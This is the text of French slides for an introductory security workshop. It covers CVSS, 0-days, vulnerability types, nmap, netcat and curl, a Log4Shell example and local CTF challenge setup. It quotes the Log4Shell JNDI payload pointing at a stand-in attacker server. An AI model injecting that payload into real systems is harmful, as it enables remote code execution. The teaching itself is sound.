Failles de sécurité
Par Louis “Nullptr” Crespin
Objectif : présenter l’univers des failles de sécurité
Non pas comment elles sont trouvées mais comment elles sont exploitées
Plan :
Vocabulaire
Cycle de vie d’une faille de sécurité
Exploitation
Quelques outils
Exemple
Challenges !
Vocabulaire
CVSS : Common Vulnerability Scoring System
Manière de classer les failles de sécurité
Score entre 0 et 10
Prend en compte :
le moyen d’entrer dans le système
la complexité
le type d’accès permis (données client…)
la menace pour l’intégrité et la disponibilité
la temporalité
les systèmes réels concernés
Exploit
Programme ou extrait de programme permettant d’exploiter une faille de sécurité
0-day
Faille pour laquelle il n’y a aucun correctif connu : “jour 0” après sa publication
Marché des 0-day : en 2012 entre 5 000 $ et 250 000 $ (source Wikipedia)
Ex : Stuxnet, virus américano-israëlien contre le programme nucléaire iranien en 2010, utilisait plusieurs 0-day dans Windows
Type de failles
dépassement de tampon (buffer overflow)
dépassement de tas (heap overflow)
dépassement d'entier (integer overflow)
dépassement de pile (stack overflow)
format string attack
situation de compétition (race condition)
injection de code (code injection)
injection SQL
cross-site scripting (XSS)
Remote Code Execution (RCE)
Porte dérobée (Backdoor)
Cycle de vie d’une faille de sécurité
(Découverte par des hackers mal intentionnés)
Découverte par des hackers bien intentionnés
Exploit
Publication auprès de l’éditeur du logiciel
Patch
Publication auprès du grand public
CTF ;-)
Exploitation
Pour exploiter des failles de sécurité connues :
On cherche quels outils le système utilise
Quelles versions il utilise
On cherche s’il y a des exploits connus
On les adapte à notre besoin
Quelques outils
Netcat
Outil très basique qui sert à établir des connexions TCP ou UDP
nc ip port : comme telnet/ssh, mais sans encryption
nc -l -p port : ouvre un serveur de connexion
Nmap
Scanner les ports d’une machine, ou de toutes les machines d’un sous-réseau
Jamais sur les infras d’ARISE !
nmap ip : liste de tous les ports ouverts sur cette machine
$ nmap 192.168.1.21
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-21 13:52 CET
Nmap scan report for 192.168.1.21
Host is up (0.015s latency).
Not shown: 994 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
8080/tcp open http-proxy
8081/tcp closed blackice-icecapCurl
Commande pratique pour faire des requêtes “à la main”
curl URL : requête simple
curl -o fichier URL : sauvegarder dans fichier
curl -H "Header: value" URL : ajouter un header
curl -u user:pass URL : connexion à certains sites avec un login/password
…
Exemple : Log4Shell
Log4J : bibliothèque de log en Java, développée par Apache
24 nov 2021 : faille découverte par Alibaba Group et partagée à Apache
6 déc 2021 : correctifs publiés
9 déc 2021 : faille publiée
CVSS 10
“la vulnérabilité la plus importante et la plus critique de la dernière décennie”
Exploit : ${jndi:ldap://serveur_pirate/message_malveillant}
Permet d’exécuter du code Java téléchargé depuis un autre serveur => RCE
Exemples de logiciels concernés : ICloud, Minecraft, Steam
Challenges !
flag à trouver, de la forme FLAG{…}
gunzip -c lab.tar.gz | docker load
docker compose up -dChallenge 1
serveur telnet tournant sur le port 2323
Challenge 2
serveur ftp
Challenge 3
appli web